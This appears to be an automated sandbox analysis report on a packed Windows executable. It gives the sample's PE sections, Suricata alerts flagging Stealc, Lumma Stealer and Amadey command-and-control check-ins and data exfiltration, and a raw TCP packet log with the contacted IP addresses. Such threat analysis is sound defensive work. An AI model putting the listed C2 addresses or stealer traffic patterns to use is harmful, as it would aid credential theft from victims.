IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	2bd300f690aacaf152ff97443a84fa5f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a1000	0x200	f836a4fc7c716027c2cecbba79eab7a6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oweoibkj	0x4ed000	0x19d000	0x19c800	98b9c3ec96c27675b4d0d7e75d13be8b	False	0.9947093986742425	data	7.953792362930636	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uwilijgs	0x68a000	0x1000	0x400	761fb477ceda855ecaf3356715a95afc	False	0.7470703125	data	5.90906246277019	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68b000	0x3000	0x2200	bf14f4cd536e0f95a985a4885efc1578	False	0.08892463235294118	DOS executable (COM)	0.9225045181947016	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T17:07:13.037839+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50138	104.21.0.123	443	TCP
2024-11-12T17:07:23.593602+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-12T17:07:23.872013+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-12T17:07:23.878360+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-12T17:07:24.150712+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-12T17:07:24.157599+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-12T17:07:25.239045+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-12T17:07:25.836477+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-12T17:07:35.721641+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.6	49780	TCP
2024-11-12T17:07:48.174753+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:07:51.580408+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:07:53.349080+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:07:54.547381+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:07:56.889114+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:07:57.459148+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49859	185.215.113.206	80	TCP
2024-11-12T17:08:01.573692+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50008	185.215.113.16	80	TCP
2024-11-12T17:08:14.106601+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.6	50080	TCP
2024-11-12T17:09:05.063021+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50121	185.215.113.43	80	TCP
2024-11-12T17:09:08.408565+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50123	185.215.113.16	80	TCP
2024-11-12T17:09:16.846734+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50122	TCP
2024-11-12T17:09:17.051341+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50125	104.21.0.123	443	TCP
2024-11-12T17:09:17.759222+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50126	185.215.113.43	80	TCP
2024-11-12T17:09:17.965048+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50125	104.21.0.123	443	TCP
2024-11-12T17:09:17.965048+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50125	104.21.0.123	443	TCP
2024-11-12T17:09:18.676612+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50127	185.215.113.16	80	TCP
2024-11-12T17:09:18.702772+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50128	104.21.0.123	443	TCP
2024-11-12T17:09:20.189582+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50128	104.21.0.123	443	TCP
2024-11-12T17:09:20.189582+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50128	104.21.0.123	443	TCP
2024-11-12T17:09:20.973433+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50129	104.21.0.123	443	TCP
2024-11-12T17:09:23.259038+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50130	104.21.0.123	443	TCP
2024-11-12T17:09:24.118764+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50130	104.21.0.123	443	TCP
2024-11-12T17:09:25.053976+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50131	104.21.0.123	443	TCP
2024-11-12T17:09:26.800424+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50132	185.215.113.206	80	TCP
2024-11-12T17:09:28.595800+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50133	104.21.0.123	443	TCP
2024-11-12T17:09:29.117791+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50133	104.21.0.123	443	TCP
2024-11-12T17:09:29.117791+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50133	104.21.0.123	443	TCP
2024-11-12T17:09:30.428782+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50137	104.21.0.123	443	TCP
2024-11-12T17:09:30.913071+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50137	104.21.0.123	443	TCP
2024-11-12T17:09:30.913071+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50137	104.21.0.123	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 17:07:13.045371056 CET	49711	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:13.045419931 CET	443	49711	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:13.045485973 CET	49711	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:13.046041012 CET	49711	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:13.046066999 CET	443	49711	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:14.161708117 CET	443	49711	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:14.161855936 CET	49711	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:14.166608095 CET	49711	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:14.166619062 CET	443	49711	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:14.166985989 CET	443	49711	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:14.186458111 CET	49711	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:14.187280893 CET	49711	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:14.187289000 CET	443	49711	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:14.187446117 CET	49711	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:14.231347084 CET	443	49711	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:14.433060884 CET	49674	443	192.168.2.6	173.222.162.64
Nov 12, 2024 17:07:14.436892986 CET	443	49711	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:14.437331915 CET	49711	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:14.437354088 CET	443	49711	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:14.437375069 CET	49711	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:14.437427044 CET	49711	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:14.776782990 CET	49672	443	192.168.2.6	173.222.162.64
Nov 12, 2024 17:07:14.808047056 CET	49673	443	192.168.2.6	173.222.162.64
Nov 12, 2024 17:07:20.288683891 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:20.288736105 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:20.288809061 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:20.289108992 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:20.289128065 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.022490978 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.022566080 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.030735016 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.030760050 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.031122923 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.045773029 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.091344118 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.289199114 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.289295912 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.289325953 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.289365053 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.289398909 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.289414883 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.289446115 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.406023026 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.406064034 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.406100035 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.406125069 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.406138897 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.406167030 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.526057005 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.526081085 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.526146889 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.526164055 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.526190042 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.526215076 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.818546057 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.818561077 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.818582058 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.818624020 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.818661928 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.818677902 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.818727970 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.819905043 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.819924116 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.819971085 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.819979906 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.820008039 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.820029974 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.825122118 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:21.825180054 CET	443	49713	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:21.825238943 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:21.825968027 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:21.825999022 CET	443	49713	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:21.873958111 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.873980045 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.874046087 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.874090910 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.874135017 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.991132975 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.991157055 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.991228104 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:21.991271973 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:21.991323948 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.020992041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:22.025902033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:22.026083946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:22.047039986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:22.052326918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:22.107733965 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.107763052 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.107899904 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.107944965 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.107990980 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.152734995 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.152755976 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.152861118 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.152906895 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.152949095 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.225645065 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.225676060 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.225795031 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.225855112 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.225900888 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.342255116 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.342283964 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.342359066 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.342396021 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.342410088 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.342442036 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.458419085 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.458451033 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.458551884 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.458590031 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.458647966 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.514729977 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.514761925 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.514875889 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.514904976 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.514960051 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.575407982 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.575485945 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.575520039 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.575572968 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.575686932 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.575712919 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.575726032 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.575731993 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.611881018 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.611953020 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.612041950 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.612989902 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.613034964 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.613085032 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.613518953 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.613532066 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.613619089 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.613627911 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.614881992 CET	49717	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.614949942 CET	443	49717	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.615003109 CET	49717	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.615164042 CET	49717	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.615176916 CET	443	49717	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.615972996 CET	49718	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.615993977 CET	443	49718	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.616039038 CET	49718	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.616480112 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.616489887 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.616535902 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.616628885 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.616636992 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.616694927 CET	49718	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:22.616704941 CET	443	49718	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:22.935875893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:22.935969114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:22.966845989 CET	443	49713	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:22.967031002 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:23.038139105 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:23.038191080 CET	443	49713	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:23.038558006 CET	443	49713	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:23.089365005 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:23.188710928 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:23.188786983 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:23.188813925 CET	443	49713	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:23.188940048 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:23.231339931 CET	443	49713	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:23.305569887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:23.310422897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:23.350704908 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.352220058 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.358302116 CET	443	49717	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.367620945 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.367649078 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.368098021 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.368103981 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.368336916 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.368364096 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.368730068 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.368742943 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.368926048 CET	49717	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.368932962 CET	443	49717	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.369311094 CET	49717	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.369314909 CET	443	49717	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.439651012 CET	443	49713	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:23.441647053 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:23.441670895 CET	443	49713	40.113.110.67	192.168.2.6
Nov 12, 2024 17:07:23.441694975 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:23.441740036 CET	49713	443	192.168.2.6	40.113.110.67
Nov 12, 2024 17:07:23.493887901 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.493925095 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.494024992 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.494055033 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.494115114 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.494160891 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.494206905 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.494245052 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.494293928 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.494321108 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.494364977 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.494429111 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.494434118 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.494442940 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.494457960 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.494508028 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.494796991 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.494816065 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.494824886 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.494829893 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.497319937 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.497351885 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.497364044 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.497390985 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.497446060 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.497464895 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.497592926 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.497612953 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.497668028 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.497683048 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.499021053 CET	443	49717	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.499042988 CET	443	49717	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.499097109 CET	49717	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.499104023 CET	443	49717	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.499146938 CET	49717	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.499272108 CET	49717	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.499277115 CET	443	49717	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.499285936 CET	49717	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.499289989 CET	443	49717	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.501219988 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.501230955 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.501308918 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.501439095 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:23.501450062 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:23.593411922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:23.593601942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:23.594657898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:23.599440098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:23.729016066 CET	443	49716	13.107.246.45	192.168.2.6
